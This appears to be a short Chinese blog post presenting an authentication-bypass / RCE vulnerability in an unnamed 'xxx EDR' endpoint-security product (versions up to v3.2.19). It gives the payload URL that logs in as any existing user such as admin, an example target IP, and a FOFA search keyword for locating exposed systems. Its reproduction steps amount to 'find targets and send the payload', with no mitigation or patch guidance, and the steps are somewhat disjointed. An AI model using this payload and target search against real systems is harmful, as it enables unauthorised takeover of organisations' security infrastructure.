weixin_45141231的博客

原创 rce远程执行 0day漏洞 复测

**xxx hw重大漏洞 复测**fofa关键词："终端检测响应平台”漏洞名称: xxx EDR 任意用户登录漏洞/rce远程代码执行影响范围: EDR <= v3.2.19漏洞细节：payload: https://ip/ui/login.php?user= 用户名随便写例如: https://123.123.123.123:5000/ui/login.php?user=admin只要用户名存在，比如管理员复现步骤：1.打开手机查公众号学习2.打开fofa，钟馗之言 搜索目标